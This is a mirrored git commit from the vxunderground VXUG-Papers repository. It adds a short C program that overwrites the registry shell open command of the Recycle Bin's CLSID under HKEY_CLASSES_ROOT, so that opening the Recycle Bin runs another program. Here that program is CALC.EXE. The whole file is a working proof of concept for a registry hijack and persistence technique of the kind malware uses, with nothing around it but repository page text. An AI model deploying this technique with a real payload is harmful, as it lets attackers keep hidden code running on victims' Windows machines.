mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2024-06-16 11:58:10 +00:00
Add files via upload
This commit is contained in:
parent
7d6b7af2b0
commit
a1c40d6ec5
@ -0,0 +1,81 @@
|
|||||||
|
#include <Windows.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#define WCHAR_MAXPATH (MAX_PATH * sizeof(WCHAR))
|
||||||
|
|
||||||
|
DWORD P0x4(VOID);
|
||||||
|
|
||||||
|
int main(VOID)
|
||||||
|
{
|
||||||
|
DWORD dwReturn = ERROR_SUCCESS;
|
||||||
|
dwReturn = P0x4();
|
||||||
|
|
||||||
|
if (dwReturn != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
return dwReturn;
|
||||||
|
}
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD P0x4(VOID)
|
||||||
|
{
|
||||||
|
HKEY hKey = HKEY_CLASSES_ROOT;
|
||||||
|
WCHAR lpSubKey[WCHAR_MAXPATH] = L"CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\shell\\open\\command";
|
||||||
|
WCHAR lpData[WCHAR_MAXPATH] = L"CALC.EXE";
|
||||||
|
HKEY phkResult = NULL;
|
||||||
|
HKEY hkResult;
|
||||||
|
DWORD dispositions;
|
||||||
|
|
||||||
|
if (RegCreateKeyEx(hKey, lpSubKey, 0, NULL,
|
||||||
|
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hkResult, &dispositions) != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
goto EXIT_ROUTINE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (RegOpenKeyEx(hKey, lpSubKey, 0, KEY_ALL_ACCESS, &phkResult) != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
goto EXIT_ROUTINE;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (RegSetValueEx(phkResult, NULL, 0, REG_SZ, (PBYTE)lpData, sizeof(lpData)) != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
goto EXIT_ROUTINE;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
if (hKey)
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
|
if (phkResult)
|
||||||
|
{
|
||||||
|
RegCloseKey(phkResult);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hkResult)
|
||||||
|
{
|
||||||
|
RegCloseKey(hkResult);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
|
||||||
|
EXIT_ROUTINE:
|
||||||
|
|
||||||
|
DWORD dwError = GetLastError();
|
||||||
|
|
||||||
|
if (hKey)
|
||||||
|
RegCloseKey(hKey);
|
||||||
|
|
||||||
|
if (phkResult)
|
||||||
|
{
|
||||||
|
RegCloseKey(phkResult);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hkResult)
|
||||||
|
{
|
||||||
|
RegCloseKey(hkResult);
|
||||||
|
}
|
||||||
|
|
||||||
|
return dwError;
|
||||||
|
}
|
Binary file not shown.
Loading…
Reference in New Issue
Block a user